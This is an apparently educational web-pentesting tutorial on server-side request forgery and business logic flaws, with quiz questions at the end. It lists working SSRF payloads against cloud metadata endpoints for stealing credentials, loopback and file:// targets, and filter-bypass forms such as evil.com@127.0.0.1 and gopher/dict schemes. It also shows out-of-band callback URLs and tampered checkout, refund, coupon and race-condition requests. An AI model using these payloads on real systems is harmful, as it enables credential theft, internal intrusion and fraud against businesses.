Two attack classes with one shared trait: the application does exactly what you tell it to, just not what the developer intended. SSRF makes the server fetch URLs on your behalf — including internal services it was never meant to reach. Business logic bugs exploit gaps in the application's own rules — price checks, quantity limits, workflow steps the developer forgot to enforce. Neither class is detectable by scanners. Both require human understanding of how the system is supposed to work.
SSRF occurs when a web application fetches a remote resource based on a URL supplied by the user — and doesn't restrict which URLs are permitted. The server makes the request from its own network position, which means it can reach internal services, cloud metadata endpoints, and backend systems that are completely inaccessible from the internet.
The attacker never talks directly to the internal network. Instead they weaponize the application's own HTTP client — making it act as a proxy into infrastructure it was never meant to expose.
Any feature that fetches a URL on the server side is a potential SSRF vector. Look for:
http://internal-service/.url, uri, link, src, dest, redirect, path, next, target, callback, fetch, load, host, endpoint. Any parameter that looks like it points somewhere is worth testing.
{"url":"http://169.254.169.254/latest/meta-data/"} User-supplied URL| Target URL | What It Exposes | Severity | Works On |
|---|---|---|---|
http://169.254.169.254/latest/meta-data/ |
AWS EC2 instance metadata: IAM role names, temporary credentials, instance ID, AMI info | Critical | AWS EC2 instances |
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE |
Actual AWS access key, secret key, session token — usable immediately to call AWS APIs | Critical | AWS EC2 with IAM role |
http://metadata.google.internal/computeMetadata/v1/ |
GCP service account tokens, project info, SSH keys | Critical | Google Cloud instances |
http://169.254.169.254/metadata/instance?api-version=2021-02-01 |
Azure VM metadata, managed identity tokens | Critical | Azure VMs |
http://localhost/ http://127.0.0.1/ |
Admin panels, internal APIs, services bound to loopback that aren't exposed externally | Critical | Any server |
http://192.168.x.x/ http://10.x.x.x/ |
Internal network services: databases, admin dashboards, internal APIs, other app servers | High | Any server with internal network |
file:///etc/passwd |
Local file read if the HTTP client allows file:// scheme |
High | Servers with loose URL scheme allowlist |
In many cases the server fetches the URL but doesn't return the response body to you — only a success/fail status. This is blind SSRF. You can't read the internal service response directly, but you can still prove it by using an out-of-band detection technique.
Detection method: Use a unique URL that will generate a DNS lookup or HTTP request to a server you control. Burp Collaborator (built into Burp Suite Pro) generates a unique subdomain — any DNS resolution or HTTP request to it proves the server made an outbound connection.
Blind SSRF detection using Burp Collaborator# 1. In Burp Suite → Collaborator → Copy unique URL:
# https://abc123xyz.oastify.com
# 2. Inject it into the SSRF injection point:
POST /import-feed
{"url": "http://abc123xyz.oastify.com/ssrf-test"}
# 3. Check Collaborator tab — if you see a DNS lookup
# or HTTP request arrive, blind SSRF is confirmed.
# Alternative: webhook.site (free, no Burp Pro needed)
{"url": "https://webhook.site/your-unique-id"}
Applications often implement blocklists to prevent SSRF — blocking 127.0.0.1, localhost, and 169.254.169.254. These filters are consistently bypassable:
127.0.0.1 can be written as:127.1 — short form2130706433 — decimal0x7f000001 — hex0177.0.0.1 — octal::1 — IPv6 loopbacksingularity DNS rebinding server.https://yourserver.com/r → 301 → http://127.0.0.1/adminhttp://evil.com@127.0.0.1/http://127.0.0.1#evil.comhttp://[::ffff:127.0.0.1]/evil.com while the HTTP client resolves to 127.0.0.1.http:// but accepts other schemes:https://127.0.0.1/file:///etc/passwdgopher://127.0.0.1:25/ (SMTP injection)dict://127.0.0.1:11211/ (memcached)https://trusted.com/redirect?to=http://127.0.0.1Simulate server-side URL fetching. Toggle the SSRF filter and test different URL types — including bypass vectors that circumvent naive blocklists.
Simulate submitting a Collaborator URL and watching for the server's callback. This is how you prove blind SSRF when no response is returned to you directly.
Business logic flaws aren't bugs in the code — the code works exactly as written. The flaw is in the design: a workflow step the developer assumed would always happen, a constraint they forgot to enforce, or an edge case they never considered. Scanners can't find them because the requests look completely legitimate. Only a human who understands how the feature is supposed to work can spot them.
Applications that trust client-supplied prices, discount amounts, or transaction values are directly exploitable. The fix is simple (never trust client-side prices — always recalculate server-side), but the mistake is common.
Intercept checkout request in Burp — modify the pricePOST /api/checkout HTTP/1.1
Content-Type: application/json
{
"items": [{"id": "prod_9x2", "quantity": 1, "price": 999.00}],
"total": 999.00
}
# Modify in Burp Repeater:
{
"items": [{"id": "prod_9x2", "quantity": 1, "price": 0.01}],
"total": 0.01
}
# If server trusts client price → item purchased for $0.01
Input validation often checks for "too high" but forgets to check for negative values. This can reverse expected transaction flows.
Negative quantity → account credit instead of debitPOST /api/refund
{"order_id": "ORD-1234", "quantity": -5}
# Expected: server refuses negative quantity
# Vulnerable: server calculates refund * -5 = credits account
# Negative price on a coupon:
POST /api/apply-coupon
{"code": "SAVE10", "amount": -100}
# If amount is trusted → $100 added to cart instead of deducted
When two requests hit the server simultaneously, both can pass a check before either one has written its result. This is how single-use coupons get used multiple times, how gift card balances get over-spent, and how referral bonuses get claimed repeatedly.
Race condition on a single-use coupon — Burp Turbo Intruder# Normal flow:
# 1. Check coupon is unused → 2. Apply coupon → 3. Mark as used
# Race condition:
# Thread A: Check coupon (unused) ✓
# Thread B: Check coupon (unused) ✓ ← both pass before either writes
# Thread A: Apply coupon → mark used
# Thread B: Apply coupon → mark used ← coupon applied twice!
# In Burp Turbo Intruder — send the same request 20 times in parallel:
# engine=Engine.THREADED → all fire simultaneously
# Look for 2+ success responses to the same coupon code
Multi-step processes often have security checks at one step but not at the step that actually performs the action. If you can jump directly to the final step, the check never runs.
Skipping an email verification step# Intended flow:
# Step 1: Submit email change request
# Step 2: Click verification link sent to OLD email
# Step 3: Change is confirmed
# Attack: Submit Step 1, then jump directly to the endpoint
# that handles "change confirmed" (Step 3) without Step 2.
# Some apps check for the verification only at Step 2 —
# if Step 3 doesn't re-verify, the email is changed without proof of ownership.
# Same pattern: order workflows, payment confirmation, 2FA setup,
# KYC verification before high-value actions.
Applications often have implicit trust assumptions that aren't enforced. A user-tier action endpoint that checks role on page load but not in the API. An admin function that's hidden in the UI but fully accessible via direct API call. A "read-only" API key that accepts write operations.
Hidden admin endpoint accessible by regular users# Frontend: admin panel hidden, links not rendered for non-admins
# Backend: no authorization check on the actual endpoint
GET /api/admin/users → 403 (correctly checked)
GET /admin/export-users → 200 (HTML route — no auth check)
POST /api/admin/set-role → 200 (forgot the auth middleware)
Interact with a simulated e-commerce checkout. The server-side validation switch controls whether the backend re-validates pricing. Test every attack category.
http://169.254.169.254/latest/meta-data/iam/security-credentials/app-role. Full AWS access key, secret, and session token returned in the generated PDF. Attacker had full read access to S3 buckets containing PII of millions of users.{"quantity": -10} on a $50 item credited $500 to the account. No maximum refund check. Attacker purchased $0.01 items, refunded with quantity -1000, accumulated significant balance."total": 299.00 to "total": 0.01 in Burp — order fulfilled at $0.01. Affected all digital product purchases. Physical goods had a separate validation that caught it.Search for parameters named url, link, src, fetch, callback, webhook, endpoint, redirect. Also check file import, PDF generation, and link preview features even when no obvious URL parameter exists.
Submit your Burp Collaborator URL. Check for DNS callbacks — this confirms outbound connections before any internal targeting. If you get a ping, SSRF is present.
If the app is hosted on AWS/GCP/Azure, try http://169.254.169.254/. Try bypass representations if blocked. This is the highest-impact SSRF target.
Try http://localhost/, http://127.0.0.1/, and common internal ports: 8080, 8443, 9200 (Elasticsearch), 6379 (Redis), 11211 (Memcached), 2375 (Docker). Note response differences — timing or content changes indicate port is open.
If 127.0.0.1 is blocked, try 127.1, 0x7f000001, 2130706433, [::1]. Try open redirect on an allowlisted domain. Use DNS rebinding for complex filter bypass.
Capture checkout, refund, coupon application, subscription change requests. Look for any numeric value (price, quantity, discount, amount) that originates from the client side.
Try: set price to 0.01, set quantity to -1, set discount to 101%, set total to 0. Send in Burp Repeater. Does the server recalculate, or trust your value?
Apply the same coupon twice. Apply multiple different coupons. Try a coupon from another user's account. Try a coupon after its expiry date. Try applying coupons in different orders.
Identify multi-step processes: checkout, registration, verification flows. Try accessing later steps directly without completing earlier ones. Does the final action endpoint verify all prerequisites?
Single-use coupons, limited-stock items, referral bonuses, one-click purchases. Use Burp Turbo Intruder to send 20–50 parallel requests. Look for multiple success responses to the same idempotent-expected action.
| Tool | Purpose | Key Usage |
|---|---|---|
| Burp Collaborator | Out-of-band detection for blind SSRF | Burp → Collaborator → Copy to clipboard. Inject URL. Check for DNS/HTTP callbacks. Pro feature — use webhook.site as a free alternative. |
| Burp Repeater | Manual parameter tampering for logic bugs | Intercept any transaction → Send to Repeater → Modify price/quantity/coupon fields → Resend → Compare responses. |
| Burp Turbo Intruder | Parallel request sending for race conditions | Right-click → Extensions → Turbo Intruder. Use the race condition template. Sends 20+ requests simultaneously to exploit timing windows. |
| webhook.site | Free out-of-band callback listener | Visit webhook.site, get a unique URL. Inject it as the SSRF/blind SSRF payload. Callbacks appear in real-time on the dashboard. |
| PortSwigger Labs | Guided hands-on SSRF and logic labs | SSRF: basic, blind, against another backend. Business logic: excessive discount, inconsistent handling, authentication bypass via flawed state machine. |
Why is SSRF against a cloud metadata endpoint rated Critical while SSRF against an external URL is typically only Medium? What's the difference in impact and what makes 169.254.169.254 specifically dangerous?
You inject a URL into a webhook field. The server returns {"status": "saved"} but no response content. How do you prove SSRF is present? Walk through the exact steps using Burp Collaborator or webhook.site.
The application blocks requests containing "127.0.0.1" and "localhost". Name three alternative representations you would try to reach the loopback address, and explain why each one works.
Explain why business logic vulnerabilities can't be detected by automated scanners. What does a scanner look for, and why is that approach blind to logic flaws? Give a concrete example.
Describe the exact timing window that a race condition exploits. Why does sending 20 requests in parallel sometimes result in multiple successes on an action designed to succeed only once?